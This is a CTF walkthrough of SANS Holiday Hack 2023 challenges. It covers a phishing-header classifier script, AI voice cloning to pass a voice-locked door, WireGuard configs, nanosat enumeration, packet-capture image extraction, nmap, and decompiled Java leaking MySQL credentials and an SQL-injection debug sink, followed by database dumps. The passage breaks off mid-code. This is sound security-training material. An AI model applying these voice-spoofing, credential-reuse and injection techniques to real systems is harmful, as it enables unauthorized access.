[email protected]Summer Beach Cleanup CoordinationPhishing
[email protected]Tech Team’s Holiday HackathonSafe
[email protected]Island Wildlife Conservation EffortsSafe
[email protected]Annual Budget Review and ForecastingPhishing
[email protected]Marketing for the Holiday SeasonSafe
[email protected]Q4 Operational ExcellenceSafe
[email protected]Environmental Policies Legal ReviewSafe
[email protected]Boosting End of Year SalesSafe
[email protected]Pacific Festive Celebrations OverviewPhishing
[email protected]IT Infrastructure Upgrade DiscussionSafe
[email protected]Security Protocol BriefingPhishing
[email protected]Coral Reef Study FindingsPhishing
[email protected]Compliance Training Schedule AnnouncementSafe
[email protected]Project Management Best PracticesSafe
[email protected]Client Engagement EnhancementsSafe
[email protected]Public Relations Strategy MeetPhishing
[email protected]Supply Chain Optimization InitiativesSafe
[email protected]New Research Project KickoffSafe
[email protected]Communication Skills WorkshopSafe
[email protected]Quality Assurance Protocols MeetingPhishing
[email protected]Networking Event Success StrategiesPhishing
[email protected]Production Milestones MeetingSafe
[email protected]Customer Feedback Analysis MeetingSafe
[email protected]Employee Wellbeing WorkshopSafe
[email protected]Procurement Process ImprovementsPhishing
[email protected]Financial Planning for 2024Phishing
[email protected]Operational Efficiency ReviewPhishing
[email protected]Legal Team Expansion StrategySafe
[email protected]Invitation to Research Grant MeetingPhishing
[email protected]IT Security UpdateSafe
[email protected]Holiday Marketing BrainstormSafe
[email protected]Year-End Sales Target StrategiesPhishing
[email protected]Urgent IT Security UpdateSafe
[email protected]Enhancing Client Relationships WorkshopSafe

DNS

dns

Analysis - Dynamic Emails

The emails were being loaded dynamically from a JavaScript file called seed.js

..[snip]..
  loadEmails.push({
    from: "[email protected]",
    to: "[email protected]",
    headers: "Return-Path: <[email protected]>\nReceived: from mail.geeseislands.com\nDKIM-Signature: v=1; a=rsa-sha256; d=geeseislands.com; s=default; b=HJgZP0lGJb8xK3t18YsOUpZ+YvgcCj2h3ZdCQF/TN0XQlWgZt4Ll3cEjy1O4Ed9BwFkN8XfOaKJbnN+lCzA8DyQ9PDPkT9PeZw2+JhQK1RmZdJlfg8aIlXvB2Jy2b2RQlKcY0a5+j/48edL9XkF2R8jTtKgZd9JbOOyD4EHD6uLX5;\nDMARC: Pass",
    subject: "Boosting End of Year Sales",
    content: "<p>Let's discuss <strong>strategies to boost our year-end sales</strong>. Bonus: A special segment on how ChatNPT can enhance our sales tactics!</p>",
    date: "2023-10-21 10:05:00",
    status: 0
  });
..[snip]..

I converted all the emails to a JSON format so I can easily parse it using jq:

jq '.emails|length' emails.json
34

There is a total of 34 emails that we have to categorize them as a phishing attempt email or not.

Analysis - SPF, DKIM, and DMARC

We were able to use Python, to automate the analysis of the DKIM and DMARC headers and validate the return path was identical the the sender address.

phishing_parse.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to parse all the emails and check DNS DKIM, DMARK, and SPF results.
Holiday Hack 2023 - SUSPICIOUS
"""

# Imports
import json
import re
import requests
from email import policy
from email.parser import BytesParser


def check_dkim(header):
    # Extract DKIM-Signature from headers
    dkim_match = re.search(r"DKIM-Signature: (.+)", header)
    if dkim_match:
        return dkim_match.group(1).strip()
    return "DKIM not found"


def check_dmarc(header):
    # Extract DMARC from headers
    dmarc_match = re.search(r"DMARC: (.+)", header)
    if dmarc_match:
        return dmarc_match.group(1).strip()
    return "DMARC not found"


def check_return_path(header):
    # Extract Return-Path from headers
    return_path_match = re.search(r"Return-Path: <(.+)>", header)
    if return_path_match:
        return return_path_match.group(1).strip()
    return "Return-Path not found"


def process_emails(data):
    print(f'Analyzing {len(data["emails"])} emails ...')

    for i, email in enumerate(data["emails"]):
        data["emails"][i]["index"] = i + 1
        print(f'\n{i+1}. {email["subject"]}')
        print(f"FROM: {email['from']}")
        print(f"TO: {email['to']}")
        print(f"DATE: {email['date']}")

        # Parse the email content
        msg = BytesParser(policy=policy.default).parsebytes(email["headers"].encode("utf-8"))

        # Get the headers
        headers = msg.as_string()

        # Check DKIM
        dkim = check_dkim(headers)
        print(f"DKIM: {dkim}")

        # Check DMARC
        dmarc = check_dmarc(headers)
        print(f"DMARC: {dmarc}")

        # Check Return-Path
        return_path = check_return_path(headers)
        print(f"Return-Path: {return_path}")

        # Extract relevant information
        dmarc_pass = "Pass" in dmarc
        dkim_valid = "v=1; a=rsa-sha256; d=geeseislands.com; s=default;" in dkim
        return_path_match = email["from"] in return_path

        # Analysis
        if dmarc_pass and dkim_valid and return_path_match:
            print("Status: \033[92mSAFE\033[0m")
            data["emails"][i]["status"] = 0
        else:
            print("Status: \033[91mSUSPICIOUS\033[0m")
            data["emails"][i]["status"] = 1

    return data


# Open the file and load the JSON data
with open("./emails.json", "r") as file:
    email_data = json.load(file)
email_parsed = process_emails(email_data)

# Check status
bad_emails = [f'{email["from"]}' for email in email_parsed["emails"] if email["status"] == 1]
bad_emails.sort()
bad_emails_subjects = [f'{email["index"]}-{email["from"]}-{email["subject"]}' for email in email_parsed["emails"] if email["status"] == 1]
print("\nPhishing:")
print("\n".join(bad_emails_subjects))

# Send status
session = requests.session()
burp0_url = "https://hhc23-phishdetect-dot-holidayhack2023.ue.r.appspot.com:443/check-status"
burp0_cookies = {"CaseFile": "eyJ1c2VyaWQiOiI0ODAxOTFiNy03ZDdhLTQ0NjQtOTBiNS05ZTBiZTA3MzIwMDQifQ.ZZLi4A.u8YhzTZlio0ywFsxrho-DqrPbOg"}
burp0_headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/json",
}
r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=bad_emails)
print("\nCheck Status (/check-status)")
print(r.text)

The following is the output of the script in action:

result
$ python3 phishing_parse.py
Analyzing 34 emails ...

Phishing:
[email protected] to Research Grant Meeting
[email protected] IT Security Update
[email protected] Process Improvements
[email protected] Protocol Briefing
[email protected] Relations Strategy Meet
[email protected] Feedback Analysis Meeting
[email protected] Team Expansion Strategy
[email protected] Event Success Strategies
[email protected] Training Schedule Announcement
[email protected] Research Project Kickoff

Check Status (/check-status)
{"hash":"fb719ebd276dcbd3cba16becdebb4971414ef03dee1a62210361fbde6aeb7b76","resourceId":"480191b7-7d7a-4464-90b5-9e0be0732004"}

After selecting all the 10 bad emails, we obtained the success mission:

success

Achievement

Congratulations! You have completed the Phish Detection Agency challenge!

Space Island

Embark on your celestial adventure by guiding our ship to Space Island. Employ the arrow keys on the keyboard or the WASD keys for navigation, as the island is situated in the top-left corner of the map. May your journey through the cosmos be both thrilling and successful!

There are two different ports available:

Port of Spaceport Point

While exploring the Space Island, we discover the Port of Spaceport Point. Upon reaching it, a “Dock Now” option is presented to us.

docknow

The dock featured the Goose of Space Island to greet us!

dock

When we make land, we obtain a new objective on arrival.

Space Island Door Access Speaker (Space Island) 🎄🎄🎄🎄🎄

There’s a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.

Full Island (Zoomed Out)

zoom30

Space Island Door Access Speaker

Space Island Door Access Speaker (Space Island) 🎄🎄🎄🎄🎄

There’s a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.

If we keep proceeding to the north of the island, we can find Jewel Loggins outside of a tram.

jewel

When speaking with Jewel Loggins, we obtain the following hint:

MFA: Something You Are

It seems the Access Speaker is programmed to only accept Wombley’s voice. Maybe you could get a sample of his voice and use an AI tool to simulate Wombley speaking the passphrase.

When opening up the door challenge, it asks for a .wav file of Wombley’s voice file.

wav

When we select a test .wav file to upload, it prepares and sends a POST request to /upload and provides a redirection link with a match percentage MATCH (34%) in a parameter.

request
POST /upload?id=80ca50bc-2ad7-45ee-ab5c-23fca954d7d3 HTTP/2
Host: islanddoor.space
Cookie: GCLB="9b2d095558b30b14"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------121215153010570311442204811029
Content-Length: 48468

-----------------------------121215153010570311442204811029
Content-Disposition: form-data; name="file"; filename="trumpet-1.wav"
Content-Type: audio/wav

Response: 302 -> https://islanddoor.space/index.html?msg=NO%20VOICE%0AMATCH%20%2834%25%29&id=80ca50bc-2ad7-45ee-ab5c-23fca954d7d3

The secret passphrase was retrieved from completing the Active Directory objective. This had us obtain a secret file called InstructionsForEnteringSatelliteGroundStation.txt that had the exact 2FA phrase to say to the speaker!

phrase
Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

Earlier, we had a conversation with Wombley Cube on Film Noir Island, who provided us with a sample of his speech characteristics in the form of an audiobook. Now, we can leverage an AI-powered speech cloner tool. I opted for Speechify, where I imported Wombley’s Audiobook and the desired phrase for audio generation.

speechify

Then we convert the generated .mp3 file to a .wav file for upload using ffmpeg:

ffmpeg -i speechify_cloned_voice_wombleycube_the_enchanted_voyage_2024-01-02_04-31-20.mp3 speechify_cloned_voice_wombleycube_the_enchanted_voyage_2024-01-02_04-31-20.wav

We select the speech file of speechify_cloned_voice_wombleycube_the_enchanted_voyage_2024-01-02_04-31-20.wav and we instantly get in!

spaceportdoor

Achievement

Congratulations! You have completed the Space Island Door Access Speaker challenge!

Port of Cape Cosmic

While exploring the Space Island, we discover the Port of Cape Cosmic. Upon reaching it, a “Dock Now” option is presented to us.

docknow

The dock featured the Goose of Space Island to greet us!

dock

Full Island (Zoomed Out)

zoom30

After the Space Island Access Speaker objective, we can now enter the facility!

facility

Full Island - Inside Gate (30% Zoom)

zoom30

On the east side of the enclosed facility, the satellite building can be entered!

building

We enter Zenith SGS - Satellite Ground Station and are met with Wombley Cube!

zsgs

Camera Access

Camera Access (Space Island) 🎄🎄🎄🎄🎄

Gain access to Jack’s camera. What’s the third item on Jack’s TODO list?

When speaking with Wombley Cube, we obtain the following hint:

Hubris is a Virtue

In his hubris, Wombley revealed that he thinks you won’t be able to access the satellite’s “Supervisor Directory”. There must be a good reason he mentioned that specifically, and a way to access it. He also said there’s someone else masterminding the whole plot. There must be a way to discover who that is using the nanosat.

Final Door

When clicking on the “final door” on the right, it loads a video of space including sun, moon, earth, and a satellite!

finaldoor

SGS Terminal

When clicking on the middle SGS terminal, it loads a picture “Nanosat Christmas Comms - Wishing you the warmest disaster avoidance this Holiday Season!”

sgsterminal

Gator - Wireguard VPN

On the bottom-left corner, there is a Gator that when clicked launches at app:

gator

Clicking on About; Status: 🟢 | Ttl: 4.0 hours | Target: 34.41.215.165

intro

If we click on the “Time Travel” button, we obtain a wireguard configuration file to connect to a VPN. We can connect using the following script:

bash -c 'cat << "EOF" > wg0-server.conf
[Interface]
Address = 10.1.1.1/24
PrivateKey = cc05IavQldS5XGj9xReSvuaXsY9xgQHBbdZaC3ddyu0=
ListenPort = 51820

[Peer]
PublicKey = JXCCduNBIRDushn3bxjcCogX0YqhsemMWdEsm7jdkRk=
AllowedIPs = 10.1.1.2/32
EOF'

bash -c 'cat << "EOF" > wg0.conf
[Interface]
Address = 10.1.1.2/24
PrivateKey = bYkny3XP9CyMUbAiefgCBghBzQDADSvNjsU1A+8T1BU=
ListenPort = 51820

[Peer]
PublicKey = xViQTwGY7OhV6hHEPYKlgLqdYv9GTqyOZU8QRWf2Mws=
Endpoint = 34.173.170.84:51820
AllowedIPs = 10.1.1.1/32
EOF'

sudo cp wg0.conf /etc/wireguard/wg0.conf
sudo wg-quick down wg0
sudo wg-quick up wg0
[#] ip link add wg0 type wireguard
[#] wg setconf wg0 /dev/fd/63
[#] ip -4 address add 10.1.1.2/24 dev wg0
[#] ip link set mtu 1420 up dev wg0

Vending Machine

When speaking with the vending machine NanoSat-o-Matic, he provides a Java program all zipped up and containerized - “Hi there! I am a Ground station client vending machine. Apparently there is a huge need for NanoSat frameworks here, so they have put me in this room. Here, have a free sample!”

Within the archive, the satellite/client_container/README.md explains how to setup your environment to connect with Wireguard, launch a docker container, connect over VNC, etc.

We can build and run the application in a docker container (this takes a few minutes):

sudo ./build_and_run.sh
Sending build context to Docker daemon  119.4MB
Step 1/15 : FROM eclipse-temurin:11-jre
11-jre: Pulling from library/eclipse-temurin
3dd181f9be59: Pull complete
6d733e6219d9: Pull complete
41f868d375a0: Pull complete
7e0b41871d28: Pull complete
abba5c11ffee: Pull complete
Digest: sha256:cfba8df9620f10a0e8b6a147a9a1a09dfce2477a9cb4552dfe94bc7319aa3032
Status: Downloaded newer image for eclipse-temurin:11-jre
 ---> 05c7c092e61d
..[snip]..

Or you can use podman:

podman machine start
cd client_container
podman build -t nmf_client -f Dockerfile
podman run -d -p 6901:6901 -p 5900:5900 --cap-add="NET_ADMIN" --cap-add="NET_RAW" nmf_client

We can connect to it using vncviewer that will connect to our localhost:5900 VNC server hosted in the docker:

vncviewer 127.0.0.1

vnc

NanoSat MO Base Station Tool

Launching NanoSat MO Base Station Tool from within the VNC (by right-clicking):

nanosat

The [[satellite/client_container/README.md]] explains how to connect to the directory service of maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory

readme

The main screen lists all the services and their relevant URI’s and Broker URI’s:

Service nameSupported CapabilitiesService PropertiesURI addressBroker URI Address
PackageManagementAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-PackageManagementnull
AutonomousADCSAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-AutonomousADCSmaltcp://10.1.1.1:1024/nanosat-mo-supervisor-AutonomousADCSInternalBroker
OpticalDataReceiverAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-OpticalDataReceivermaltcp://10.1.1.1:1024/nanosat-mo-supervisor-OpticalDataReceiverInternalBroker
ActionAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Actionnull
ArchiveAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Archivenull
CommandExecutorAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-CommandExecutormaltcp://10.1.1.1:1024/nanosat-mo-supervisor-CommandExecutorInternalBroker
ArchiveSyncAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-ArchiveSyncnull
GPSAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-GPSmaltcp://10.1.1.1:1024/nanosat-mo-supervisor-GPSInternalBroker
ClockAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Clockmaltcp://10.1.1.1:1024/nanosat-mo-supervisor-ClockInternalBroker
AppsLauncherAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-AppsLaunchermaltcp://10.1.1.1:1024/nanosat-mo-supervisor-AppsLauncherInternalBroker
AggregationAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Aggregationmaltcp://10.1.1.1:1024/nanosat-mo-supervisor-AggregationInternalBroker
HeartbeatAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Heartbeatmaltcp://10.1.1.1:1024/nanosat-mo-supervisor-HeartbeatInternalBroker
EventAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Eventmaltcp://10.1.1.1:1024/nanosat-mo-supervisor-EventInternalBroker
ParameterAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Parametermaltcp://10.1.1.1:1024/nanosat-mo-supervisor-ParameterInternalBroker
AlertAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Alertnull
SoftwareDefinedRadioAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-SoftwareDefinedRadiomaltcp://10.1.1.1:1024/nanosat-mo-supervisor-SoftwareDefinedRadioInternalBroker
CameraAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Cameramaltcp://10.1.1.1:1024/nanosat-mo-supervisor-CameraInternalBroker
PowerControlAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-PowerControlmaltcp://10.1.1.1:1024/nanosat-mo-supervisor-PowerControlInternalBroker
DirectoryAll Supported[]maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directorynull

Camera

Since we are looking for a picture, we can starting the camera service using the runApp utility!

camera

Connect to the new directory service URI:

camera

Aggregation All Supported [] maltcp://10.1.1.1:1025/camera-Aggregation maltcp://10.1.1.1:1025/camera-AggregationInternalBroker
Action All Supported [] maltcp://10.1.1.1:1025/camera-Action null
Archive All Supported [] maltcp://10.1.1.1:1025/camera-Archive null
Heartbeat All Supported [] maltcp://10.1.1.1:1025/camera-Heartbeat maltcp://10.1.1.1:1025/camera-HeartbeatInternalBroker
Event All Supported [] maltcp://10.1.1.1:1025/camera-Event maltcp://10.1.1.1:1025/camera-EventInternalBroker
Parameter All Supported [] maltcp://10.1.1.1:1025/camera-Parameter maltcp://10.1.1.1:1025/camera-ParameterInternalBroker
ArchiveSync All Supported [] maltcp://10.1.1.1:1025/camera-ArchiveSync null
Alert All Supported [] maltcp://10.1.1.1:1025/camera-Alert null
Directory All Supported [] maltcp://10.1.1.1:1025/camera-Directory null

We can enable the generation of snapshots from the camera via the Parameter Service and enableGeneration button:

generate

However, getting the object value of Base64SnapImage is not fully displayed when clicking on getValue.

object

We also checked the Published Parameter Values tab:

published

Wireshark Image Extraction

Since the Java GUI does not display the entire Base64SnapImage contents of the image, we need to extract the contents some other way. Since the contents are unencrypted and Wireshark is installed, we can capture the Base64SnapImage through Wireshark by capturing on All Interfaces and export the packet capture to our main host via a docker cp command.

We can save the capture to /root/camera-capture.pcapng and transfer it back to our host:

sudo docker ps
sudo docker cp <container_name>:/root/camera-capture.pcapng .

We found that the beginning of an image starts with 4AAQSK, if we find all the packets that start with that, we can just extract packet 40344 through 41654 and we should have everything we need to extract an image!

Wireshark Filter: frame matches "4AAQSK"

wireshark

We can then extract a single image transmission into a new pcap file by going to File -> Export Specified Packets. The range would be: 40344-41654 (captured)

export

We can then parse this single image PCAP file to extract all the relevant packets into hex using tshark:

tshark -r images.pcapng -Y 'tcp' -T fields -e data -e tcp.stream | awk '{print $1}' | grep -v '^[0-9]\{1,2\}$'

We can then copy the hex dump into Cyberchef for additional processing:

cyberchef

The final decoded image:

Untitled

Oh no … Jack is at it again!

Checklist:

  • Get SANTA TO MOVE TO GEESE ISLANDS
  • PLACE GEOSTATIONARY SATELLITE ABOVE ISLANDS
  • CONQUER HOLIDAY SEASON!

Looking back at the challenge question, the answer is the last item on the list. Answer: CONQUER HOLIDAY SEASON!

Achievement

Congratulations! You have completed the Camera Access challenge!

After the completion of Camera Access, we unlocked a new objective:

Missile Diversion (Space Island) 🎄🎄🎄🎄🎄

Thwart Jack’s evil plan by re-aiming his missile at the Sun.

Missile Diversion

Missile Diversion (Space Island) 🎄🎄🎄🎄🎄

Thwart Jack’s evil plan by re-aiming his missile at the Sun.

When speaking with Wombley Cube, we obtain the following hint:

Always Lock Your Computer

Wombley thinks he may have left the admin tools open. I should check for those if I get stuck.

Missile Targeting System

Since we are looking to stop a missile, we can starting the missile-targeting-system service using the runApp utility!

missle

NFO: NanoSat MO Connector initialized in 1.395 seconds!
2024-01-04 00:47:37.054 esa.mo.nmf.nanosatmoconnector.NanoSatMOConnectorImpl init
INFO: URI: maltcp://10.1.1.1:1025/missile-targeting-system-Directory

Then we can connect to the missile-targeting-system-Directory under the directory service URI:

missle

Aggregation All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Aggregation maltcp://10.1.1.1:1025/missile-targeting-system-AggregationInternalBroker
Action All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Action null
Archive All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Archive null
Heartbeat All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Heartbeat maltcp://10.1.1.1:1025/missile-targeting-system-HeartbeatInternalBroker
Event All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Event maltcp://10.1.1.1:1025/missile-targeting-system-EventInternalBroker
Parameter All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Parameter maltcp://10.1.1.1:1025/missile-targeting-system-ParameterInternalBroker
ArchiveSync All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-ArchiveSync null
Alert All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Alert null
Directory All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Directory null

We can enable the parameter service of PointingMode, X, Y, and Debug:

parameter

Looking at parameters generated from the missile-targeting-system, we can see a Debug flag that looks interesting.

parameter

NMAP Scan

We can perform a quick nmap scan of 10.1.1.1 to identify a MySQL database port open on 3306 that could be our target for stopping the missile-targeting-system!

$ nmap -v -sC -sV 10.1.1.1
Nmap scan report for 10.1.1.1
PORT      STATE SERVICE VERSION
1024/tcp  open  kdm?
1025/tcp open  NFS-or-IIS?
3306/tcp  open  mysql?
10022/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)

Java Reversing

We can use jd-cli.jar to decompile all the Java JAR files within assets/nmf/lib/ and output them to ../librev for easier analysis!

find assets/nmf/lib/ -name '*.jar' -exec java -jar /opt/java-compiled/jd-cli.jar --outputDir ../librev {} \;

Looking at the source code of themissile-targeting-system at assets/nmf/librev/esa/mo/nmf/apps/MissileTargetingSystemMCAdapter.java, we are able to find MySQL credentials of Username:targeter and Password: cu3xmzp9tzpi00bdqvxq.

private String sqlDebug(String injection) {
String query = "SELECT VERSION()" + injection;
StringBuilder resultString = new StringBuilder();
try {
  Connection connection = DriverManager.getConnection("jdbc:mariadb://localhost:3306/missile_targeting_system?allowMultiQueries=true", "targeter", "cu3xmzp9tzpi00bdqvxq");
  try {
    Statement statement = connection.createStatement();
    try {
    boolean hasResultSet = statement.execute(query);
    int resultSetCount = 0;
    while (true) {
  if (hasResultSet) {
    ResultSet resultSet = statement.getResultSet();
    try {
    ResultSetMetaData metaData = resultSet.getMetaData();
    int columnCount = metaData.getColumnCount();
    while (resultSet.next()) {
     for (int i = 1; i <= columnCount; i++) {
    String columnName = metaData.getColumnName(i);
    String columnValue = resultSet.getString(i);
    resultString.append(columnName + ": " + columnValue + " | ");
     }
     resultString.append("\n");
   }
    if (resultSet != null)

We can login to the remote MySQL database using these credentials with the mysql client utility.:

$ mysql -u 'targeter' -p'cu3xmzp9tzpi00bdqvxq' -h '10.1.1.1'
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2092
Server version: 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 mariadb.org binary distribution

Lets see what databases are in here:

MariaDB [(none)]> show databases;
+--------------------------+
| Database                 |
+--------------------------+
| information_schema       |
| missile_targeting_system |
+--------------------------+
2 rows in set (0.055 sec)

Lets see what permissions we have using show grants.

MariaDB [(none)]> show grants;
+---------------------------------------------------------------------------------------------------------+
| Grants for targeter@%                                                                                   |
+---------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `targeter`@`%` IDENTIFIED BY PASSWORD '*41E2CFE844C8F1F375D5704992440920F11A11BA' |
| GRANT SELECT, INSERT ON `missile_targeting_system`.`satellite_query` TO `targeter`@`%`                  |
| GRANT SELECT ON `missile_targeting_system`.`pointing_mode` TO `targeter`@`%`                            |
| GRANT SELECT ON `missile_targeting_system`.`messaging` TO `targeter`@`%`                                |
| GRANT SELECT ON `missile_targeting_system`.`target_coordinates` TO `targeter`@`%`                       |
| GRANT SELECT ON `missile_targeting_system`.`pointing_mode_to_str` TO `targeter`@`%`                     |
+---------------------------------------------------------------------------------------------------------+

Lets enumerate the tables of the missile_targeting_system database:

MariaDB [missile_targeting_system]> show tables;
+------------------------------------+
| Tables_in_missile_targeting_system |
+------------------------------------+
| messaging                          |
| pointing_mode                      |
| pointing_mode_to_str               |
| satellite_query                    |
| target_coordinates                 |
+------------------------------------+
5 rows in set (0.065 sec)

We can then inspect all of the content of all of the tables within the missile_targeting_system database:

MariaDB [missile_targeting_system]> select * from messaging;
+----+----------------------+------------+
| id | msg_type             | msg_data   |
+----+----------------------+------------+
|  1 | RedAlphaMsg          | RONCTTLA   |
|  2 | MsgAuth              | 220040DL   |
|  3 | LaunchCode           | DLG2209TVX |
|  4 | LaunchOrder          | CONFIRMED  |
|  5 | TargetSelection      | CONFIRMED  |
|  6 | TimeOnTargetSequence | COMPLETE   |
|  7 | YieldSelection       | COMPLETE   |
|  8 | MissileDownlink      | ONLINE     |
|  9 | TargetDownlinked     | FALSE      |
+----+----------------------+------------+
9 rows in set (0.064 sec)

MariaDB [missile_targeting_system]> select * from pointing_mode;
+----+----------------+
| id | numerical_mode |
+----+----------------+
|  1 |              0 |
+----+----------------+
1 row in set (0.062 sec)

MariaDB [missile_targeting_system]> select * from pointing_mode_to_str;
+----+----------------+------------------+----------------------------------------------------------------------------------------+
| id | numerical_mode | str_mode         | str_desc                                                                               |
+----+----------------+------------------+----------------------------------------------------------------------------------------+
|  1 |              0 | Earth Point Mode | When pointing_mode is 0, targeting system applies the target_coordinates to earth.     |
|  2 |              1 | Sun Point Mode   | When pointing_mode is 1, targeting system points at the sun, ignoring the coordinates. |
+----+----------------+------------------+----------------------------------------------------------------------------------------+
2 rows in set (0.063 sec)

MariaDB [missile_targeting_system]> select * from satellite_query;
+-----+----------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| jid | object                                                                                                                                                         | results                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+-----+----------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|   1 | �� sr SatelliteQueryFileFolderUtility������ Z isQueryZisUpdateL pathOrStatementt Ljava/lang/String;xp  t )/opt/SatelliteQueryFileFolderUtility.java         | import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

    public String getResults(Connection connection) {
        if (isQuery && connection != null) {
            if (!isUpdate) {
                try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                    ResultSet rs = selectStmt.executeQuery()) {
                    List<HashMap<String, String>> rows = new ArrayList<>();
                    while(rs.next()) {
                        HashMap<String, String> row = new HashMap<>();
                        for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
                            String key = rs.getMetaData().getColumnName(i);
                            String value = rs.getString(i);
                            row.put(key, value);
                        }
                        rows.add(row);
                    }
                    Gson gson = new Gson();
                    String json = gson.toJson(rows);
                    return json;
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            } else {
                try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                    pstmt.executeUpdate();
                    return "SQL Update completed.";
                } catch (SQLException sqle) {
                    return "SQL Error: " + sqle.toString();
                }
            }
        } else {
            Path path = Paths.get(pathOrStatement);
            try {
                if (Files.notExists(path)) {
                    return "Path does not exist.";
                } else if (Files.isDirectory(path)) {
                    // Use try-with-resources to ensure the stream is closed after use
